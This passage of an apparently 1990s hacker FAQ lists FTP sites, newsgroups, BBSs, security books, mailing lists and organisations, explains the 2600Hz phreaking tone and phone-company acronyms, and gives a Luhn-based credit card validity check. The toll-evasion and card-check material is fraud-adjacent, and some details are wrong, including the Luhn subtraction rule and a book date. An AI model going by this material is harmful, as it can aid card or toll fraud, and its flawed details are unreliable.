cyberspace.com login anonymous password root@ machine deimos.cs.uah.edu login anonymous password root@ machine ftp.csua.berkeley.edu login anonymous password root@ machine ftp.eff.org login anonymous password root@ machine ftp.etext.org login anonymous password root@ machine ftp.mcs.com login anonymous password root@ machine ftp.netcom.com login anonymous password root@ machine ftp.netcom.com login anonymous password root@ machine ftp.rahul.net login anonymous password root@ machine ftp.std.com login anonymous password root@ machine ftp.std.com login anonymous password root@ machine ftp.warwick.ac.uk login anonymous password root@ machine ftp.win.tue.nl login anonymous password root@ machine ftp.winternet.com login anonymous password root@ machine garbo.uwasa.fi login anonymous password root@ machine ghost.dsi.unimi.it login anonymous password root@ machine grind.isca.uiwa.edu login anonymous password root@ machine hack-this.pc.cc.cmu.edu login anonymous password root@ machine halcyon.com login anonymous password root@ machine ideal.ios.net login anonymous password root@ machine lcs.mit.edu login anonymous password root@ machine mary.iia.org login anonymous password root@ machine nic.funet.fi login anonymous password root@ machine paradox1.denver.colorado.edu login anonymous password root@ machine ripem.msu.edu login anonymous password root@ machine pyrite.rutgers.edu login anonymous password root@ machine rtfm.mit.edu login anonymous password root@ machine sekurity.com login anonymous password root@ machine spy.org login anonymous password root@ machine theta.iis.u-tokyo.ac.jp login anonymous password root@ machine vincent2.iastate.edu login anonymous password mabell machine wimsey.bc.ca login anonymous password root@ 02. What are some newsgroups of interest to hackers? alt.2600 Do it 'til it hertz alt.2600.hope.tech Technology concerns for Hackers on Planet Earth 1994 alt.cellular alt.dcom.telecom alt.hackers Descriptions of projects currently under development (Moderated) alt.locksmithing You locked your keys in *where*? alt.hackers.malicious The really bad guys - don't take candy from them alt.security Security issues on computer systems alt.security.index Pointers to good stuff in misc.security (Moderated) alt.security.keydist Exchange of keys for public key encryption systems alt.security.pgp The Pretty Good Privacy package alt.security.ripem A secure email system illegal to export from the US comp.dcom.cellular comp.dcom.telcom.tech comp.dcom.telecom Telecommunications digest (Moderated) comp.dcom.telecom.tech comp.org.cpsr.announce comp.org.cpsr.talk comp.org.eff comp.org.eff comp.risks comp.security.announce comp.security.misc Security issues of computers and networks comp.security.unix Discussion of Unix security comp.virus Computer viruses & security (Moderated) misc.security Security in general, not just computers (Moderated) rec.pyrotechnics sci.crypt Different methods of data en/decryption 03. What are some telnet sites of interest to hackers? phred.pc.cc.cmu.edu 04. What are some gopher sites of interest to hackers? gopher@cpsr.org gopher.eff.org gopher.wired.com wiretap.spies.com 05. What are some World wide Web (WWW) sites of interest to hackers? http://crimelab.com//bugtraq/bugtraq/html http://cs.purdue.edu/homes/spaf/coast.html http://cs.purdue.edu/homes/spaf/pcert.html http://dfw.net/~aleph1 http://first.org http://l0pht.com http://tamsun.tamu.edu/~clm3840/hacking.html/ http://tansu.com.au/Info/security.html http://www.achilles.net/~pluvius http://www.cis.ksu.edu/~psiber http://www.tis.com/ http://www.cpsr.org/home http://www.iia.org/~gautier/me.html http://www.engin.umich.edu/~jgotts/underground.html http://www.net23.com http: /www.paranoia.com /defcon http://www.phantom.com/~king http://www.spy.org /Security/Local/News http://www.wired.com 06. What are some IRC channels of interest to hackers? #2600 #hack #phreak #linux #root #unix #warez 07. What are some BBS's of interest to hackers? Home BBS (303)343-4053 fARM R0Ad 666 (713)855-0261 Corrupt Sekurity (303)753-1719 08. What books are available on this subject? General Computer Security ~~~~~~~~~~~~~~~~~~~~~~~~~ Computer Security Basics Author: Deborah Russell and G.T. Gengemi Sr. Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-71-4 This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert. Computer Security Management Author: Karen Forcht Publisher: Boyd and Fraser Copyright Date: 1994 ISBN: 0-87835-881-1 Information Systems Security Author: Philip Fites and Martin Kratz Publisher: Van Nostrad Reinhold Copyright Date: 1993 ISBN: 0-442-00180-0 Unix System Security ~~~~~~~~~~~~~~~~~~~~ Practical Unix Security Author: Simson Garfinkel and Gene Spafford Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-72-2 Finally someone with a very firm grasp of Unix system security gets down to writing a book on the subject. Buy this book. Read this book. Firewalls and Internet Security Author: William Cheswick and Steven Bellovin Publisher: Addison Wesley Copyright Date: 1994 ISBN: 0-201-63357-4 Unix System Security Author: Rik Farrow Publisher: Addison Wesley Copyright Date: 1991 ISBN: 0-201-57030-0 Unix Security: A Practical Tutorial Author: N. Derek Arnold Publisher: McGraw Hill Copyright Date: 1993 ISBN: 0-07-002560-6 Unix System Security: A Guide for Users and Systems Adiministrators Author: David A. Curry Publisher: Addison-Wesley Copyright Date: 1992 ISBN: 0-201-56327-4 Unix System Security Author: Patrick H. Wood and Stephen G. Kochan Publisher: Hayden Books Copyright Date: 1985 ISBN: 0-672-48494-3 Network Security ~~~~~~~~~~~~~~~~ Network Security Secrets Author: David J. Stang and Sylvia Moon Publisher: IDG Books Copyright Date: 1993 ISBN: 1-56884-021-7 Not a total waste of paper, but definitely not worth the $49.95 purchase price. The book is a rehash of previously published information. The only secret we learn from reading the book is that Sylvia Moon is a younger woman madly in love with the older David Stang. Complete Lan Security and Control Author: Peter Davis Publisher: Windcrest / McGraw Hill Copyright Date: 1994 ISBN: 0-8306-4548-9 and 0-8306-4549-7 Network Security Author: Steven Shaffer and Alan Simon Publisher: AP Professional Copyright Date: 1994 ISBN: 0-12-638010-4 Cryptography ~~~~~~~~~~~~ Applied Cryptography: Protocols, Algorithms, and Source Code in C Author: Bruce Schneier Publisher: John Wiley & Sons Copyright Date: 1994 ISBN: 0-471-59756-2 Bruce Schneier's book replaces all other texts on cryptography. If you are interested in cryptography, this is a must read. This may be the first and last book on cryptography you may ever need to buy. Cryptography and Data Security Author: Dorothy Denning Publisher: Addison-Wesley Publishing Co. Copyright Date: 1982 ISBN: 0-201-10150-5 Programmed Threats ~~~~~~~~~~~~~~~~~~ The Little Black Book of Computer Viruses Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1990 ISBN: 0-929408-02-0 The original, and still the best, book on computer viruses. No media hype here, just good clean technical information. Computer Viruses, Artificial Life and Evolution Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1993 ISBN: 0-929408-07-1 Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other Threats to Your System Author: John McAfee and Colin Haynes Publisher: St. Martin's Press Copyright Date: 1989 ISBN: 0-312-03064-9 and 0-312-02889-X Hacking History and Culture ~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Hacker Crackdown: Law and Disorder on the Electronic Frontier Author: Bruce Sterling Publisher: Bantam Books Copyright Date: 1982 ISBN: 0-553-56370-X Bruce Sterling has recently released the book FREE to the net. The book is much easier to read in print form, and the paperback is only $5.99. Either way you read it, you will be glad you did. Mr. Sterling is an excellent science fiction author and has brought his talent with words to bear on the hacking culture. A very enjoyable reading experience. Cyberpunk Author: Katie Hafner and John Markoff Publisher: Simon and Schuster Copyright Date: 1991 ISBN: 0-671-77879-X The Cuckoo's Egg Author: Cliff Stoll Publisher: Simon and Schuster Copyright Date: 1989 ISBN: 0-671-72688-9 Hackers: Heroes of the Computer Revolution Author: Steven Levy Publisher: Doubleday Copyright Date: 1984 ISBN: 0-440-13495-6 Unclassified ~~~~~~~~~~~~ The Hacker's Handbook Author: Hugo Cornwall Publisher: E. Arthur Brown Company Copyright Date: ISBN: 0-912579-06-4 Secrets of a Super Hacker Author: The Knightmare Publisher: Loompanics Copyright Date: 1994 ISBN: 1-55950-106-5 The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing. The Knightmare's best hack is fooling Loompanics into publishing this garbage. The Day The Phones Stopped Author: Leonard Lee Publisher: Primus / Donald I Fine, Inc. Copyright Date: 1992 ISBN: 1-55611-286-6 Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer. Information Warfare Author: Winn Swartau Publisher: Thunder Mountain Press Copyright Date: 1994 ISBN: 1-56025-080-1 09. What are some mailing lists of interest to hackers? Academic Firewalls Reflector Address: Registration Address: Send a message to majordomo@greatcircle.com containing the line "subscribe firewalls user@host" Bugtraq Reflector Address: bugtraq@crimelab.com Registration Address: bugtraq-request@crimelab.com Cert Tools Reflector Address: cert-tools@cert.org Registration Address: cert-tools-request@cert.org Computers and Society Reflector Address: Comp-Soc@limbo.intuitive.com Registration Address: taylor@limbo.intuitive.com Coordinated Feasibility Effort to Unravel State Data Reflector Address: ldc-sw@cpsr.org Registration Address: CPSR Announcement List Reflector Address: cpsr-announce@cpsr.org Registration Address: CPSR - Intellectual Property Reflector Address: cpsr-int-prop@cpsr.org Registration Address: CPSR - Internet Library Reflector Address: cpsr-library@cpsr.org Registration Address: Macintosh Security Reflector Address: mac-security@eclectic.com Registration Address: mac-security-request@eclectic.com NeXT Managers Reflector Address: Registration Address: next-managers-request@stolaf.edu rfc931-users Reflector Address: rfc931-users@kramden.acf.nyu.edu Registration Address: brnstnd@nyu.edu RSA Users Reflector Address: rsaref-users@rsa.com Registration Address: rsaref-users-request@rsa.com 10. What are some print magazines of interest to hackers? 2600 - The Hacker Quarterly ~~~~~~~~~~~~~~~~~~~~~~~~~~~ E-mail address: 2600@well.sf.ca.us Subscription Address: 2600 Subscription Dept PO Box 752 Middle Island, NY 11953-0752 Letters and article submission address: 2600 Editorial Dept PO Box 99 Middle Island, NY 11953-0099 Subscriptions: United States: $21/yr individual, $50 corporate. Overseas: $30/yr individual, $65 corporate. Gray Areas ~~~~~~~~~~ Gray Areas PO Box 808 Broomall, PA 19008 Subscriptions: $18/yr Wired ~~~~~ Subscription Address: subscriptions@wired.com or: Wired PO Box 191826 San Francisco, CA 94119-9866 Letters and article submission address: guideleines@wired.com or: Wired 544 Second Street San Francisco, CA 94107-1427 Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas) 11. What are some organizations of interest to hackers? Computer Professionals for Social Responsibility (CPSR) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CPSR empowers computer professionals and computer users to advocate for the responsible use of information technology and empowers all who use computer technology to participate in the public debate. As technical experts, CPSR members provide the public and policymakers with realistic assessments of the power, promise, and limitations of computer technology. As an organization of concerned citizens, CPSR directs public attention to critical choices concerning the applications of computing and how those choices affect society. By matching unimpeachable technical information with policy development savvy, CPSR uses minimum dollars to have maximum impact and encourages broad public participation in the shaping of technology policy. Every project we undertake is based on five principles: * We foster and support public discussion of and public responsibility for decisions involving the use of computers in systems critical to society. * We work to dispel popular myths about the infallibility of technological systems. * We challenge the assumption that technology alone can solve political and social problems. * We critically examine social and technical issues within the computer profession, nationally and internationally. * We encourage the use of computer technology to improve the quality of life. CPSR Membership Categories 75 REGULAR MEMBER 50 Basic member 200 Supporting member 500 Sponsoring member 1000 Lifetime member 20 Student/low income member 50 Foreign subscriber 50 Library/institutional subscriber CPSR National Office P.O. Box 717 Palo Alto, CA 94301 415-322-3778 415-322-3798 (FAX) E-mail: cpsr@csli.stanford.edu Electronic Frontier Foundation (EFF) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of policies and activities that will advance freedom and openness in computer-based communications. It is a member-supported, nonprofit group that grew from the conviction that a new public interest organization was needed in the information age; that this organization would enhance and protect the democratic potential of new computer communications technology. From the beginning, the EFF determined to become an organization that would combine technical, legal, and public policy expertise, and would apply these skills to the myriad issues and concerns that arise whenever a new communications medium is born. Memberships are $20.00 per year for students, $40.00 per year for regular members, and $100.00 per year for organizations. The Electronic Frontier Foundation, Inc. 666 Pennsylvania Avenue S.E., Suite 303 Washington, D.C. 20003 +1 202 544 9237 +1 202 547 5481 FAX Internet: eff@eff.org Free Software Foundation (FSF) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ GNU ~~~ The League for Programming Freedom (LPF) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The League for Programming Freedom is an organization of people who oppose the attempt to monopolize common user interfaces through "look and feel" copyright lawsuits. Some of us are programmers, who worry that such monopolies will obstruct our work. Some of us are users, who want new computer systems to be compatible with the interfaces we know. Some are founders of hardware or software companies, such as Richard P. Gabriel. Some of us are professors or researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer and Patrick Winston. "Look and feel" lawsuits aim to create a new class of government- enforced monopolies broader in scope than ever before. Such a system of user-interface copyright would impose gratuitous incompatibility, reduce competition, and stifle innovation. We in the League hope to prevent these problems by preventing user-interface copyright. The League is NOT opposed to copyright law as it was understood until 1986 -- copyright on particular programs. Our aim is to stop changes in the copyright system which would take away programmers' traditional freedom to write new programs compatible with existing programs and practices. Annual dues for individual members are $42 for employed professionals, $10.50 for students, and $21 for others. We appreciate activists, but members who cannot contribute their time are also welcome. To contact the League, phone (617) 243-4091, send Internet mail to the address league@prep.ai.mit.edu, or write to: League for Programming Freedom 1 Kendall Square #143 P.O. Box 9171 Cambridge, MA 02139 USA SotMesc ~~~~~~~ Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion of the computing society. By promoting computer education, liberties and efficiency, we believe we can secure freedoms for all computer users while retaining privacy. SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund, and the SotMesc Newsletter. The SotMESC is financed partly by membership fees, and donations, but mostly by selling hacking, cracking, phreaking, electronics, internet, and virus information and programs on disk and bound paper media. SotMesc memberships are $20 to students and $40 to regular members. SotMESC P.O. Box 573 Long Beach, MS 39560 Section D: 2600 ~~~~~~~~~~~~~~~ 01. What is alt.2600? Alt.2600 is a Usenet newsgroup for discussion of material relating to 2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600 game machine. Len@netsys.com created the group on Emmanual Goldstein's recommendation. Emmanuel is the editor/publisher of 2600 Magazine. Following the barrage of postings about the Atari machine to alt.2600, an alt.atari.2600 was created to divert all of the atari traffic from alt.2600. Atari 2600 people are advised to hie over to rec.games.video.classic. 02. What does "2600" mean? 2600Hz was a tone that was used by early phone phreaks (or phreakers) in the 80's, and some currently. If the tone was sent down the line at the proper time, one could get away with all sorts of fun stuff. A note from Emmanuel Goldstein: "The Atari 2600 has NOTHING to do with blue boxes or telephones or the 2600 hertz tone. The 2600 hertz tone was simply the first step towards exploring the network. If you were successful at getting a toll call to drop, then billing would stop at that point but there would be billing for the number already dialed up until the point of seizure. 800 numbers and long distance information were both free in the past and records of who called what were either non-existent or very obscure with regards to these numbers. This, naturally, made them more popular than numbers that showed up on a bill, even if it was only for a minute. Today, many 800 numbers go overseas, which provides a quick and free way into another country's phone system which may be more open for exploration." 03. Are there on-line versions of 2600 available? No. 04. I can't find 2600 at any bookstores. What can I do? Subscribe. Or, let 2600 know via the subscription address that you think 2600 should be in the bookstore. Be sure to include the bookstores name and address. 05. Why does 2600 cost more to subscribe to than to buy at a newsstand? A note from Emmanuel Goldstein: We've been selling 2600 at the same newsstand price ($4) since 1988 and we hope to keep it at that price for as long as we can get away with it. At the same time, $21 is about the right price to cover subscriber costs, including postage and record keeping, etc. People who subscribe don't have to worry about finding an issue someplace, they tend to get issues several weeks before the newsstands get them, and they can take out free ads in the 2600 Marketplace. Section E: Miscellaneous ~~~~~~~~~~~~~~~~~~~~~~~~ 01. What does XXX stand for? TLA Three Letter Acronym ACL Access Control List PIN Personal Identification Number TCB Trusted Computing Base ALRU Automatic Line Record Update AN Associated Number ARSB Automated Repair Service Bureau ATH Abbreviated Trouble History BOC Bell Operating Company BOR Basic Output Report CA Cable COE Central Office Equipment CMC Construction Maintenance Center CNID Calling Number IDentification CO Central Office COCOT Customer Owned Coin Operated Telephone CRSAB Centralized Repair Service Answering Bureau DDD Direct Distance Dialing ECC Enter Cable Change LD Long Distance LMOS Loop Maintenance Operations System MLT Mechanized Loop Testing NPA Numbering Plan Area POTS Plain Old Telephone Service RBOC Regional Bell Operating Company RSB Repair Service Bureau SS Special Service TAS Telephone Answering Service TH Trouble History TREAT Trouble Report Evaluation and Analysis Tool FLT Fairlight NTA The Nocturnal Trading Alliance PDX Paradox PE Public Enemy QTX Quartex S!P Supr!se Productions TDT The Dream Team THG The Humble Guys THP The Hill People TRSI Tristar Red Sector Inc. 02. How do I determine if I have a valid credit card number? Credit cards us the Luhn Check Digit Algorithm. The main purpose of this algorithm is to catch data entry errors, but it does double duty here as a weak security tool. For a card with an even number of digits, double every odd digit and subtract 9 if the product is greater than 10. Add up all the even digits as well as the doubled-odd digits, and the result must be a multiple of 10 or it's not a valid card. If the card has an odd number of digits, perform the same addition doubling the even digits instead. 03. Where can I get a copy of the #hack FAQ? Find it on FTP at: rahul.net /pub/lps Find it on World Wide Web at: http://dfw.net/~aleph1 http://www.engin.umich.edu/~jgotts/underground.html http://www.phantom.com/~king Find it with Finger at: will@gnu.ai.mit.edu EOT -- \* Will Spencer : The advancement and diffusion of knowledge *\ \* Unix geek : is the only guardian of true liberty. *\ \* PC guru : -- James Madison *\ \* Revolutionary : 4th U.S. President *\